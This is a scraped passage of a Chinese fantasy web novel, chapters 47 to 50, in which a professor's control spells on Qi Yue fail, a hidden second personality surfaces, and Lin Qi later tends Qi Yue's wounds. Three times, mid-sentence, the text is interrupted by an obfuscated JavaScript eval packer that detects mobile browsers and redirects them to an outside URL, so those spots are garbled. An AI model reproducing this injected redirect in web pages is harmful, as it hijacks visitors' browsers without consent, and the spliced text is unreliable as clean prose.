下一瞬,似有一只无形笔在朱砂纸上书写,一抹银蓝辉光蚀刻,一笔一划,在纸面落下“折锋”两个字。接着陆知秋眸光顺着眼尾朝祈越一扫,朱砂纸就如同刀刃上见了血的反光,急飞出去,撞在祈越身上,散成一片光雾。 陆知秋看着祈越:“今天我就暂且叫你‘折锋’。” 事情发生得很快,且没有事前解释,等陆知秋说完这句话,林栖才知道他刚刚做了什么。 他在给祈越取名。 祈越像往常一样,有外人在的时候,总是站得有一些远,隔着两三米的距离,林栖在祈越深红色的瞳中看到了某种很冷淡的厌恶。 陆知秋的声音带着一抹浅笑响起,“你的这件造物,性格果然不算很好。” 林栖觉得自己心里好像被什么拧了一下,说不出的难受。 陆知秋语气依旧轻松,“今天时间有限,等下次上课,你可以重新给它取名。” 林栖声音比平时略低:“他本来就有名字。” 陆知秋说着时间有限,语调却似乎十分悠闲,透着不疾不徐的淡然,“本来?那就是它以前主人取的名字,现在你要给它重新再取一个。名字也是控制的一部分。” 名字也是控制的一部分…… 所以控制课已经开始了。 陆知秋继续道:“我会先示范三种控制咒,再选出一个简单且效果好的仔细教你。” 示范。 原来还要示范。 而且是三种控制咒。 林栖发现,自己还是把这节课想得太简单了,但祈越是懂咒术的,他事先知道自己会遇到这种情况吗? 远处的祈越神色已经恢复如常,林栖看向身侧这位教授,“我能自己来吗?” 陆知秋:“你的意思是,不用我做示范?” 林栖:“可以吗?” 这时淅川忽然在旁边开口,声音不大但足以让人听得清清楚楚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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嘶嘶的电流声戛然而止。 林栖眼前的画面像是过曝一样泛白,慢半拍地看向祈越,只见电光骤然消退,剩下那层红色微光轻轻一晃,向半空聚拢,重新凝结成一片半透明的朱砂色。 “折锋”两个字闪了一下,如火光被风吹灭,接着朱砂色也像遭到撞击的玻璃一样,从中心碎开,在散落同时迅速变得透明。 像是有什么脏东西粘在身上,祈越朝自己手肘掸了一下,在一点布料轻响中抬眼看向陆知秋,“哦,不好意思,刚走神了,你在跟我说话?” 林栖眨眨眼,祈越没事? 他看向祈越,祈越回给他一个略显不耐烦的眼神,仿佛在说:别多事。 淅川从诧异中回过神来,忍不住叫了一声,“小叔叔?” 怎么回事?居然失败了。 小叔叔怎么会连这么简单的控制咒也没用好? 好丢人啊…… 陆知秋的拇指关节捏着咒书收紧,神色却依旧淡然,视线从祈越移向程明,“这件造物以前被人下过防护咒?” 程明被问住了,看向林栖,随即从表情判断这小孩儿也不清楚,毕竟他只是署名,并不知道这件造物在前任主人手里经历过什么。 他道:“应该没有吧……这个影响很大吗陆教授?” 陆知秋指腹轻轻摩挲咒书侧边,虽然面朝程明却没在看他,视线偏开一点角度落在远处,“下次记得提前说明。” 淅川也道:“怪不得,如果有保护咒,那这种常见的控制咒就不适用了,要换别的,不提前说清楚就会白白浪费时间。” 程明赔笑道:“不好意思,是我们这边没有提前了解清楚,给您添麻烦了,那现在……” 陆知秋抬手打断他的话,“没事,不懂也很正常,我们继续,不要浪费时间。” 48. 第 48 章 似有一只无形手拨动空气,古旧咒书悄然翻页,暗白纸面泛起雪夜般的微光。 陆知秋唇齿开合,诵念声几不可闻。 训练室像一只密闭的机关盒,墙壁、地面、顶棚同时嗡声一震——透明锁链如疾风骤雪,自各个方向凭空出现,箭矢一般飞出,交织成一座囚笼,将祈越身影困在其中。 接着就听一道碎裂声响,冰屑飞溅,第一根锁链于触到祈越同时断开,在一道白光中碎成冰沫,但紧接着,更多的锁链又冲撞上去,在持续的碎裂声中前赴后继。 林栖动了动嘴唇,声音被淹没在嘈杂之中。 淅川负着双手,向他挪了两步,说得理所当然,“这个咒叫‘融冰’,本来就是消解恶咒用的,只会抵消掉原来的保护咒,不会伤着你的顶级造物。” 祈越的身影几乎被那些锁链淹没,林栖仿佛听不懂淅川在说什么,在助教的阻拦声中向前走去,但他的脚步才刚刚踏在训练场上,几道锁链就同时转向,悍然将他阻在边界之外。 林栖无法靠近祈越。 片刻,场上已经折断了上百根锁链。 碎冰声在上空盘旋不停。 陆知秋面上不动声色,手指却轻抚书脊,暗银色的家族纹章被指腹点亮,空气中顿时生出一股无形的压迫感,如有野兽于秘境深处苏醒。 淅川本能地头皮发麻,背脊似被一股外力扳直,瞪大眼睛看向陆知秋。 小叔叔用了契咒! 下一刻,犹如凛冬降临,透明锁链浮起幽蓝寒光。 森然冷意如有实质,林栖顿觉呼吸一窒。 一层碎冰自地面震起,场地中心浮起蓝色光雾,突然一根锁链斜飞而出,绕上祈越一侧手腕,如游蛇一转,骤然收紧。 另一侧也是同样,两股力道将人牢牢锁住。 单薄的少年身影挣了挣,终于低下头,人偶一般任人摆布。 陆知秋嘴角微微一勾。 同一时间,荒原深处——浑浊烟气中弥散开辛辣的硫磺味,裹挟着焦糊的铁锈气息。 黑雾弥漫,视野中央,一颗新鲜的怪物心脏连着筋脉,仍在破裂的胸腔之外搏动。 当滚烫的血液逐渐冷却,他总能在结束捕猎时获得片刻安宁。 ——训练室内,少年安静垂眸,忽然却似遭遇梦魇一般蹙起眉心。 下一秒,那双眼睛倏然睁开,一池深郁红色于冷白灯光下半明半暗。 烟气与血腥仍未散去,依然刺激着捕猎欲-望,被世人称为幽冥的怪物于单薄的少年躯壳之中苏醒,隔着血腥与现实交叠的残像,看向那道瘦小人影。 他很清楚,这不是林叙。 只是一件来路不明的仿品。 一瞬间的杀戮本能从心口撕裂而出,叫嚣着,透出浓稠刺鼻的血腥。 他想杀了他。 手腕微动,耳边顿时传来一阵锁链声响。 好吵。 他像是刚发现自己被禁锢着,眸光低垂,朝身上看了一眼。 红瞳深处似有鬼魅浮动。 寂静中传出一声冰川碎折的脆响。 两道锁链应声断裂,禁锢解除,少年缓缓垂下双手,于场地中心安然静立。 陆知秋眸光一凝,胸中涌起一腔无名火,拇指拨动书页,口中无声念诵,几秒后,随着最后一句咒文完成—— 场上冰晶重新凝成链条,同时半空传来“嘶”的一声,如利刃刺破空间,一道虚影骤然显形,化为一头银蓝色的奔狼,裹挟着雷霆锋芒扑向祈越。 少年抬眸,红瞳深郁平静,倒映着一抹蓝色残影。 下一瞬,奔狼身形一晃,耀目电光向内收束,于瞬息间坍缩为一个光点,嘶声湮灭。 几乎同时,成百上千道锁链尽数崩碎,冰晶炸开气浪,海啸一般向外翻涌。 陆知秋手中咒书一震,中心两页瞬间化为齑粉,他踉跄后退两步,一贯淡然的面孔上现出近乎空白的凝滞。 气浪卷着幽蓝冰晶飞入高空,又化为透明雪沫缓缓落下,无声消融。 混乱中,一道瘦小身影跑向场地中央,回身停住,挡在少年身前。 陆知秋环顾左右,一时只觉得眼中画面有些失真。 这不可能…… 陆家的契咒不可能会失效。 不论对方是谁,也不可能做到这种程度。 “小叔叔?你怎么了?是不是身体不太舒服?”淅川的声音从旁边传来,像隔着一层冰壳,听不真切。 “……陆教授?” 陆知秋听到助教程明在说话,于是朝他看了过去,听着自己的声音也像隔着一层冰壳,“你们造院是故意的?安排这么一场,是想证明什么?” 不……不能这样。 场面已经够难看了,不能再给陆家蒙羞。 “不好意思程老师。”陆知秋语气恢复如常,礼貌得有些突兀,“我今天确实不太舒服,课程只能改在下次。” “哦好,好,陆教授您没事吧?要不要我送您回去……” 另一边,场地中央,林栖回头看向祈越,祈越却不看他,只是低垂眼睫,左手捏着右手腕骨,缓缓转了半圈。 “疼吗?”林栖问。 这是林叙的声音。 清透的少年声线像一把钥匙打开尘封的木匣,取出一张被翻看过无数遍的照片。 指尖擦去画面尘埃,透出一层鲜亮底色—— 十二岁的林叙从外面敲开窗户,踮着脚,在窗台放了一瓶外伤药水,指着他的手问:“疼吗?” 当时他说的是:“关你什么事?” “关我什么事……”林叙重复着他的话,似乎在认真思考这个问题,片刻似乎真的有了答案,清澈眸光微微一亮,“就当预支,不是预知,是预备的预,支取的支。” 说完,林叙探出指尖,朝药水瓶上戳了一下,瓶子向前栽倒,轱辘一声翻过窗棱,又滚过狭窄的桌案,掉在地上。 那是他到林家学塾的第二周,刚和别人打了一架,老师罚他一天禁闭。 那是他从小到大第一次和别人动手,理由已经无关紧要,只清楚记得,他那时觉得林叙很烦。 这个与他同龄的少年和别的孩子不一样,平时很少说话,一双眼睛却总是带着好奇观察一切,似乎可以把他的骄傲和伪装全部看穿。 后来过了很久,他在回陆家之前的那个晚上问过林叙:“预支是什么意思?” 夏夜清朗,十六岁的林叙抱着一罐刚抓来的星星虫,躺在山坡草地,身上映满光点,仰头向后看他时,鼻尖上也落着一点透明星光。 那时的林叙已经过了变声期,声音的质地总会让他想起阳光下的水面——明净,透彻,跳跃着细碎的光点。 那声音对他说:“我从刚见你的时候就觉得,我和你能玩到一起,所以提前预支一下。” 当时他想,既然这样,那我是不是也能提前预支? 少年人总是很爱做梦,在那时的想象中,未来必定会有星光、草地,有吹不尽的晚风,和一个可以无话不谈的人…… 可惜回忆没有生命,再鲜活也只是尸体。 一时沉浸过后,当画面淡退,岐岄只觉胸腔深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791298|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处一阵剧痛,好像被人硬生生破开肋骨,碾碎心脏。 同时他又觉得这痛感有些快慰。 过往岁月漫长,林叙几乎成了一道经年妄想出的幻影,他在想到他时,总像隔着一层厚重的壳,痛感沉闷晦涩,如钝刀磋磨皮肉,不真实,不透彻,不似这般痛快而又鲜血淋漓。 或许因为虚幻的痛感远比真实的痛感更烈,隔了许久,岐岄才感觉到咒术反噬。 这具身体的每一寸皮肤都像在被火焰灼烧,骨节深处也似长满锈蚀的利刺。 被封锁的旧时回忆和独属于“祈越”的记忆混在一起,他像是隔着一层透明帘幕,看到了林栖托在手心里递过来的星星,又在一层星光微芒中看向此刻站在自己面前的人。 身形瘦小的男孩儿看着他,嘴唇张了张又抿起,像是收回了什么话,眼神变幻,瞳孔深处透出好奇的探究,小声问:“你不是祈越?” 他看着他,感官中依旧叠合着混乱的画面和刺耳的嗡鸣。 这时有人朝这边走了过来,男孩儿回头看了一眼,趁着这一点时间问:“你有自己的名字吗?” 他道:“有。” 几步之外,助教在朝他们招手,男孩儿收回视线,没有再问。 岐岄记得,那天下午,司机把他送到学塾时正在下雨,他撑着一把很重的伞站在院子里等。 其实可以直接去走廊下面躲雨,但他没去,当时的念头已经记不太清,大概是还抱有一丝幻想,希望有人能来跟自己说,雨太大了,我们回去吧——上车,我们回陆家——这只是家里给你的一次考验——十二岁了,总要有些不同的庆祝方式…… 他站在伞下,四周雨幕环绕,仿佛与世隔绝。 不知过了多久,他看到一个和自己年纪相仿的孩子,正抱着陶土花盆往屋檐下搬,花盆里不知种着什么,只有几根光秃秃的木杆。 那是他第一次见到林叙。 林叙放下陶盆之后,抬头看了一眼,手背抹过额头,再次跑进雨里,又去搬动剩下的陶盆。 他看着他搬了几趟,雨幕中的少年只是一个模糊而单薄的影子。 忽然一阵风过,伞面雨声轰隆炸响,身后溅开几声脚步,那道少年身影忽然挤进伞下,瞬间由模糊变得清晰鲜活。 他看到雨水顺着少年发梢蜿蜒,脸颊上还蹭着几道混有青苔的泥印。 少年站在伞下,把花盆倒过来抖了抖水,扭头问他,“你是谁?” 当时他回答的是:“不知道。” 外面雨声震耳欲聋。 那天是他的十二岁生日。 他在十一岁的最后一天晚上被赶出陆家,自此不被家族承认。 他不知道自己是谁。 ……林栖现在的样子,其实比他记忆中的林叙还要更小一些。 如果有人能用禁咒做出一个一模一样的人,连天赋和喜好都可以复刻,那么,那人手上一定藏着林叙本体。 就在这世上的某个角落。 隐秘而安静地藏着。 那或许是一具冰封的尸体,安静地闭着眼睛,就像以前每一次睡着的时候那样。 或许是被拆分的皮肉和骨骼,像剪断线的人偶,分装在大小不同的玻璃匣中。 也或许,那只是一具焚烧后的残骸,被人剥去焦黑的皮肉,取下仅存的血液骨髓,只剩一点残渣弃置在狭小漆黑的罐底…… 不论林叙现在是什么样子,完整还是残缺。 不论他被人藏在哪里。 不论还要多久。 只要他还存在,就一定能被找到。 49. 第 49 章 训练室形状狭长,又位于地下一层,与其说是教室,更像一个长方形的铁盒,三面密闭,只在东向留有出口,连着一道长而窄的楼梯。 离开时,陆知秋和淅川走在最前,和林栖他们隔着三四米的距离,程明走在中间,一边关心陆知秋的身体状况,一边留意身后的两条“尾巴”。 除了大门,训练室出口额外还有两道防护禁制,用以应对突发状况。 当陆知秋踏过第一道禁制,远处灯光忽然闪了几下,但他只沉默地目视前方,显然心里有事,并没注意到这点细节。 淅川回头看了一眼,刚好看到训练场一角灯光熄灭,整个空间略显突兀地暗了一块。 看起来这只是普通的线路故障,他却有种不太好的感觉,背后寒毛竖起,那种源于本能的畏惧就像之前陆知秋展开契术时一样。 淅川脑子里突兀地冒出一个念头——契术失败了会怎么样? 契术有门槛也有壁垒,重点一向都是能不能用,只要能用,就几乎不可能失败,所以他以前从没想过这个问题,但契术的本质是“借力”,按书上的说法,是“引江河之水入沟渠”。 那如果引了水又没能用出去呢? “小叔叔——”淅川叫了一声,但陆知秋似乎没听见,只头也不回地往前走,反倒是程明听到之后加快了几步问他:“怎么了?” 前后两拨人拉开距离,后方灯光又闪了闪,这次位置更近,明灭的冷光在林栖脸侧晃了一下,一瞬照亮耳廓,他能感觉到,却只是眯了一下眼睛避开,注意力依然停在祈越身上。 他觉得祈越状态有些不对。 林栖不确定这是不是自己的错觉,因为表面上看,祈越似乎一切如常,助教老师也没觉得哪里不对,但他听着祈越此时的脚步声,总有一种微妙的违和感。 觉得那不像是一个人在走路,更像是秒针转动,声音一格一格向前,每一步距离相等,落地时的轻重也完全相同,仿佛整个人是一只提线木偶,并非走路,而是在某种外力驱使下机械前行。 几步之后,脚步突兀一顿,林栖听到祈越咳了一声,嗓音又低又哑,几乎带着斑驳锈迹。他随之停下脚步,就见祈越垂眸站在原地,皮肤上仅存的一点血色迅速褪去,眼神也变得晦暗空洞。 林栖试着跟他说话,声音在安静中略带回响,岐岄能听到,但分辨不出具体内容。 反噬比预想中更加严重,此刻,他眼中的景象如同破碎的镜面,目光无处着力,不论停留在哪,都会破开更多裂痕,脑中的世界更像有飓风翻搅,不同的颜色和形状打碎了混在一起,连声音都变得诡异扭曲。 在他身后,成片的灯光悄然熄灭,训练场从中心开始变暗,很快只剩四角一点余光,这种景象会让人产生一种错觉,从远处看,整片天花板仿佛膨胀变形,由中心向外凸起。 忽然一道蓝色电弧闪过,空气嘶声一震,紧接着轰隆一声闷响碾过上空,天花板像是承受不住水压的玻璃,整块向下爆开,数道蓝色电光由裂口钻入室内,抽打在两侧墙壁,发出嘶嘶回响。 几乎同时,门前禁制启动,一堵风墙悍然落下。 林栖被风势推着,向后退了几步,接着就见第二道禁制砸落在地,带着森冷的金属反光截断前路。 身后传来一阵山崩般的轰鸣,接着一团坚冰从场地顶部爆开,交织着幽蓝电光,海啸一般席卷而来。 林栖瞬间被一阵气浪吞没,向后撞在墙上,他来不及思考也无处躲避,只觉耳边一阵嗡鸣,空气如同万千利刃,带着森寒的痛感扑面而来。 他本能地闭上眼睛。 下一秒却觉身上传来一股力道,像是瞬间沉入幽暗水底,周遭的一切都被隔绝在外,声音和画面变得模糊不清。 短短几秒近乎漫长,林栖回过神来,才意识到自己正被祈越压在墙上——祈越手肘撑住墙壁,低着头,背脊绷直,单薄的身形在前方投落阴影,遮挡出一片狭小空间。 破碎的冰晶刺透少年肩膀,如透明刀刃,映着远处一点幽蓝反光。 同时,祈越右侧手腕被一道冰刃贯穿,如行刑般钉在墙上。 “哒……”一滴血从指尖滑落。 林栖怔愣仰头,只觉视野一片模糊。 轰鸣声平息下去,岐岄向后撤身,抬手时腕骨穿过冰刃,传出剔骨抽筋的细响,他却似乎毫无所觉,只垂眸看着林栖,眼神依然晦暗空洞,却又如濒死的野兽,瞳孔深处透出近乎疯狂的执念。 林栖借着一点微光,和那双眼睛对上视线,瞬间只觉心口一窒,浑身一片冰凉。 岐岄单手撑着墙壁,睫影微垂,一双眼睛空洞注视,动作滞涩地抬起左手,握住林栖颈侧,掌心以一点力道压住脉搏,指节缓缓向内收紧,拇指前端直抵咽喉。 血色从指缝溢出,猩红向下蜿蜒。 轻微的窒息感从颈部传来,林栖能听到自己的脉搏撞上对方指尖,如同溺在冰冷海底,在失重感中完全忘了挣扎,只是怔怔看着自己在祈越眼睛里的倒影。 空气静了一秒,接着,他感到捏在自己咽喉处的力道骤然收紧,冰凉指腹碾着半凝固的血液陷进喉骨侧缘,仿佛即刻就要捏碎咽喉,但下一瞬,那股力道却猛然一松。 两人距离很近,足以让他看清祈越眼中的复杂情绪,像是痛到极点之后的轻微失神。 同时,他也能感觉到祈越指尖上那种冰冷而僵硬的颤抖。 下一秒,那只手从颈间滑落下去,面前的人忽然如断线木偶一般向前栽倒,林栖感到肩膀一沉,下意识把人接住,稍一用力,才发现自己手脚一片冰凉麻木,几乎使不上任何力气。 他踩着满地碎冰,勉强把人扶穏,背靠墙壁,头脑依然有些空白,片刻就听耳边传来极轻一声呼吸,接着是祈越干涩低哑的声音:“……发生什么事了?” “祈越?”林栖试探着问,听到自己声音也有点哑。 少年低低应了一声。 林栖低头,看到祈越一身斑驳血迹,伤得很重,在浓重的血腥味中,他想到之前一幕,只觉颈部一片烧灼,这才抑制不住地开始发抖。 他有些慌乱,想把人从自己肩上扶起来,又不知道该从哪里下手。 正纠结,就听耳边传来一道略显沉重的呼吸,接着身上一轻——祈越自己撑住墙壁,站直了身体,后退时踩到地上的碎冰,皱了下眉,又看向四周,“我被陆家人控制了吗?” 这时旁边传来金属摩擦声响,关闭的禁制重新开启,透出一线亮光。 程明的声音传来,劈着嗓子大喊林栖名字,林栖应了一声,接着小声朝祈越说了几句,告诉他,没有,陆教授没能成功。 祈越没说话,余光扫到林栖颈侧血痕,瞬间皱起眉头,眼神变得有些复杂。 林栖立刻捂住脖子蹲下,抓了一点碎冰在手里化开,用冰水揉搓颈部,又拿衣领抹掉残余血迹。 他看向祈越,脸上仿佛写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一旦有人和他玩得好,他就会忍不住想,如果他们真的成了朋友,那么在以后的某一天,这个人发现了他的秘密,会有什么反应? 这位曾经的朋友看着他的时候,脸上的表情会是恐惧、厌恶、还是失望? 站在他面前的时候会不会脸色惨白,怕得发抖? 如果他们曾经互送礼物,那么对方会怎么处理他送的东西?是扔得远远的,还是摔烂踩碎? 曾经有个比他小一岁的孩子,刚到福利院时总喜欢跟着他转来转去,为了证明和他关系好,还一笔一划地把两人名字一起写在书本第一页,旁边画上一对手拉手的简笔小人,再用荧光色水彩笔标注“好朋友”的字样。 但没过多久,这个孩子就把写了字的纸页撕去,和他的新朋友们一起孤立林栖,并把这件事变成了一种共同爱好。 其实,在得知纸页被撕掉的时候,林栖没觉得失望,反而松了口气,但同时也在想,字迹写上了就擦不掉,所以才要撕毁,那还不如一开始就不写。 过往的经历在心中缓慢流淌,定格在那页被撕掉的纸上,边缘没扯干净,“友”字还剩了一点尾巴。 林栖想着,如果有一天,祈越知道了我的秘密…… 但这次,他在细想那些后果之前,已经开口回答了许慎行的问题—— “是的,我想和祈越成为朋友。” 50. 第 50 章 许慎行跟林栖聊了二十分钟,最后得出一个结论——这头倔驴根本油盐不进! 随后程明带着祈越过来,一进门就开始告状,说祈越不许校医处理伤口,到了人家那边全程自助,手上的伤都是自己包的,肩膀只消毒没包扎,后背还有一堆伤口完全没有处理! 许慎行听完,糟心地闭了闭眼——倔驴!都是倔驴! 干脆两头驴子互相对着倔去! “不是说要交朋友吗?”许慎行抬眼瞥向林栖,咬牙切齿,“那现在就把朋友交给你了,我不管你用什么办法,总之你给你朋友把伤口都处理好。” 林栖正想着祈越身上那些伤,就这么猝不及防地,被许慎行这三个“朋友”砸得脑子嗡嗡直响。 朋友朋友朋友…… 他是想和祈越成为朋友没错,但现在还只是单方面的决定,许慎行这样一说,等于把他捂在手里不敢寄出去的那封信当众念了出来。 林栖大脑有些空白,站姿僵直,手心冒汗,一边很想知道祈越现在什么反应,一边又不敢回头看他。 “听见了吗?”许慎行还不放过他,从鼻孔里喷了口气,“听见就答应一声!” 林栖看着前方,目光无处着落,只短促“哦”了一声。 “行了行了,都回去吧。”许慎行起身赶人,他待会儿还要去咒院吵架。 林栖像一只年久失修的门轴,又顿了两秒才缓缓转身,视线朝祈越站的方向扫了一眼就匆匆收回,根本没看清人,只瞄到一个轮廓残影。 “那我跟你们一起下楼。”程明说着过去开门。 林栖低头看脚,余光隔着低垂的睫毛扫到漆黑反光的房门,程明先走出去,接着祈越的鞋子和腿也开始往门口走。 于是他也挪动脚步,隔着一米距离跟在后面。 林栖知道此时祈越正背对自己,在逐渐发酵的尴尬中,忍不住抬头看了一眼,祈越不止没处理背上的伤口,甚至连衣服都没换,只是在外面多披了一件深色外套,肩膀处已经能看到血迹洇湿布料,透出一片暗红。 他脚步一顿,接着就见祈越在门前回头,似乎是想等他跟上。 两人对上视线,林栖忘了要躲,就这样没有心理准备地看到了祈越目光中的复杂。 心绪像是一颗漏了气的气球,晃悠悠地往下坠。 他忍不住想,祈越是不是不想和我做朋友…… 今天是周五,课程结束后林栖要回家过周末,因为额外增加了控制课,要比正常时间晚走至少一个小时。 程明为了避免惹上林栖那位恶霸家长,已经提前通知凌壑,让他七点半再过来接人,之前忙着顾不上,这会儿忽然想起这茬,顿时心头一惊,控制课出了这么大的意外,还不知道凌壑要怎么找他麻烦。 程明忙叫住林栖,看着他领口的血迹嘶了几声,压低嗓子:“你先回去换个衣服,最好能洗个澡,我到……我先到楼下跟凌壑说一声,让他别着急,回头过半个……还是一小时吧,我让他一小时后直接去公寓楼下接你。” 林栖点头,他也不想让凌壑看到自己一身狼狈,更不想让观沄担心,而且祈越身上的伤也需要时间处理。 程明把他们送到侧门,左右看看没有“恶霸”出没,才挥手让他们快走,自己则转身绕回正门。 别人一走,忽然就只剩林栖和祈越两个,之前没说完的话可以继续说,没尴完的尬也可以继续尬了。 林栖又开始低头看脚。 一路无话。 回到公寓,门一关,在路上被风吹得稀薄的尴尬气息又像柳絮一样聚集起来,林栖觉得嗓子有些发痒。 他给自己倒了杯水,面朝窗户时,从玻璃反光偷瞄祈越的影子,见他没看自己,只是径直去拿药箱,这才默默松了口气,觉得含在嘴巴里的水能顺利咽下去了。 交朋友真的有一点难…… 祈越打开药箱,把清理和包扎用的工具分成两堆,整理步骤图似的在桌面排好位置,抬手拉上窗帘,伸脚到桌下勾出凳子,背对林栖坐好。 接着,他脱去上衣,向前伏在桌面,额头抵着手臂开口:“谢谢,背上我够不着。” 在他开口时,林栖仿佛上课被点到名一样瞬间站直,用了两三秒钟才听懂这句话的意思,磕巴回道:“唔……好。” 他走过去,拿起外伤药水看了看又放下,倒退一个步骤戴好医用手套,这才重新拿起药水,用镊子夹起棉球,戳进瓶口蘸了蘸。 林栖在伪造伤口方面有丰富的经验,但真正处理伤口的经验约等于零,棉球蘸了太多药水,拎起来时滴滴答答往下掉,他有些忙乱地用另一只手接住,等它不再滴水才看向要处理的伤口。 伤口在肩胛骨下方,两三寸的长度,很深,从翻开的皮肉边缘隐约可以见到骨头。 只是看着都疼。 林栖盯着它,目光凝住,只觉手指僵直,动作悬在半空不敢落下。 这时祈越开口,因为趴着,说话时略带一点鼻音,“你呢?也受伤了吗?” “……没有。”林栖回答,目光在药棉和伤口之间来回描画。 “完全没有?”祈越又问。 林栖想描述当时的情形,却发现脑子里的画面很难转成文字,只能先回:“完全没有。” 可能因为说话分散了一点注意力,他终于对着伤口下手了,但还是不敢用力,只挠痒似的轻轻擦拭。 祈越:“为了方便说话,我建议先给我的那位‘多重人格’取个代号,就叫‘有病’。” 林栖:“?” 好随意…… 祈越:“动作这么慢,等你擦完,我伤都好了。” 林栖:“……” 一瞬间很想拿药棉使劲搓洗伤口,看祈越会不会疼得闭嘴,但下不去手。 他换了一块药棉,这次因为太小心,第一次没蘸到药水,只能再来一次,结果手一抖又蘸多了…… “我都被扎成筛子了,而你完全没有受伤。”祈越继续话题,“结合现场地形和受伤位置来看,是‘有病’站在你前面,用身体挡住了那些碎冰。” 林栖迟疑着“嗯”了一声,祈越说的没错,但描述过于冷静,和他当时的主观感受有很大偏差。 他清楚记得那种晦暗又空洞的眼神,现在回想,只觉得对方像是一个溺水的人,急切地想要抓住什么…… “表面上看,他是在保护你,但这里有几个问题。”祈越语气愈发冷静。 “第一,想要在那种状况下保证你完全不受伤,只拿身体当盾牌是不够的,他一定还对你用了某种防护咒——这就引出了下一个问题。第二,他是一个技巧很醇熟的咒师,所以——第三,一个技巧醇熟的咒师,完全可以在那种情况下保证自己也不受伤,但他没有,为什么?我只能想到两种可能,第一,他故意没有保护自己。第二,他当时遇到了某种不能同时保护两个人的情况,而他放弃自己,选择了保护你。你觉得会是哪种?” 按这样分析,答案显然是第一种。 林栖回答过后,祈越继续道:“这可以暂且得出一个结论,‘有病’并不在意这具身体是否受伤,这具身体对他来说,并不是生存必须。” 身体不是生存必须? 林栖沉默着夹起第三颗棉球,祈越继续道:“以我目前所知道的情况只够分析这些,现在该你说了,那位陆教授后来又做了什么?” 林栖把当时的情形描述一遍,祈越听完之后沉默片刻,“先解释两个名词——本术和契术,简单来说,本术靠自己,契术靠外力。家族传承是外力的‘蓄水池’,所以家族越强大,契术越精纯。陆家已经传承了几百年,契术自然十分了得。陆家人想用契术控制造物却没能成功,这代表造物身上带有其他咒师留下来的某种防护手段。” “如果这件造物从没被外力控制过,那么可以得出一个结论——防护手段很厉害,连契术都能抵挡。而如果这件造物曾经被外力控制过,就会变成另外一个结论——” 林栖点点头,手里举着纱布等他继续说。 祈越却道:“说累了,歇会儿,你先自己想想,包好伤口叫我。” 林栖:“?” 祈越真的不说话了。林栖一边上药包扎,一边在心里解谜,想得并不怎么仔细,但脑子里还是浮现出一个带数字的标记。 祈越跟他回家那天,手上是带着一个“控制印”的,观沄说,那是一种专用在造物上的控制咒术,当时的作用是证明祈越的造物身份。 而祈越说,控制印是店主留的。 同时祈越身上还有一种很厉害的防护咒,连陆家契术也无法控制…… 林栖一边思考问题,一边拿棉签蘸了外伤药膏涂抹伤口,因为刚才的聊天内容,他已经忘了刚开始上药时的紧张。 眼前这道伤口不长却深,林栖只想着要把药膏抹匀,却在某一瞬清晰感觉到了伤口下的骨骼。 他动作一僵,同时看到祈越背脊绷直,手指紧紧按着桌面,指关节紧绷泛白,瘦削的侧脸也毫无血色。 “很……很疼吗?”林栖听到自己声音有一点抖。 祈越:“……废话。” “那……那我再轻一点?疼了你记得说。” 林栖继续上药,然而才刚碰到伤口边缘,就听祈越说:“疼。” 他把动作放得更轻。 祈越又说:“疼。” 林栖干脆不碰伤口,只用手扇了扇风。 祈越:“疼。” 林栖:“……” 祈越侧头朝他看了一眼,“怎么都疼,还不如快点疼完。” 林栖:“哦……” 祈越建议:“现在你可以单纯把我当成一件造物。” 字面意思没有什么问题,但是……这句话的另外一层意思好像是说, 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林栖觉得自己已经很敢想了,“所以店主也是陆家人?陆家和林家有关系?” 祈越唇角勾了勾,却不是在笑,片刻开口,“首先,我们现在说的所有话,‘有病’应该都会知道——不过有时间差,不是立刻,要等他下次接管身体。” “其次,我怀疑他就是店主本人。” 林栖一怔。 祈越的意思是,他身体里的另外一个人格,就是造物店的那位店主? “很意外吗?”祈越问。 一开始,在陆知秋使用控制咒的时候,他自己做了破解,但后来没有尝试对抗“融冰”,他也想知道,如果这具身体遇到厉害的咒师,被强行施加控制咒,会是什么情况。 现在已经有了答案,原来他身上的另外那个“人格”,就是预防意外用的底牌。 “我以为控制咒会被反弹回去,让陆家人当场出丑,没想到在防护咒破开之后,这具身体会直接被另外一个人格接管。” 祈越拿了纸笔,腕骨上的绷带一直缠到手掌,只有手指可以活动,书写姿势难免僵硬。 他在纸上打个问号,又圈起来,“这个问号是留下防护咒的人,目的是保证这具身体不被别人强行控制。防护咒能挡下几百次‘融冰’,可见问号是个很厉害的咒师,也了解契术威力。同时他还考虑到了防护咒被破的可能性,留了后手——某种应急机制。所以问号既有施咒的实力,也表现出了很明确的动机——不愿意这件造物被外力控制。” 祈越又在旁边画个感叹号,同样圈起来,“感叹号是‘有病’,能应付陆家人,所以是个很厉害的咒师,了解契术。且感叹号作为另外一个人格,需要用这具身体活动,也有动机保证它不被控制。” 接着,他再画一个句号,圈起来,一本正经道:“这是一个甜甜圈。” 林栖:“?” 祈越唇角抬了抬,“这是店主,而店主曾经在这件造物上留下过控制印,并没有触发防护咒,这说明防护咒没有把控制印当成一种外力,也就是说——防护咒和控制印大概率出自同一个人。” 祈越两指夹着铅笔,画一条直线,连起句号和问号,笔尖又指向感叹号,“前面已经说过,这具身体对感叹号不是生存必须,所以他还有另外一个壳子、另外一重身份,只在有需要的时候才会占用这具身体。” 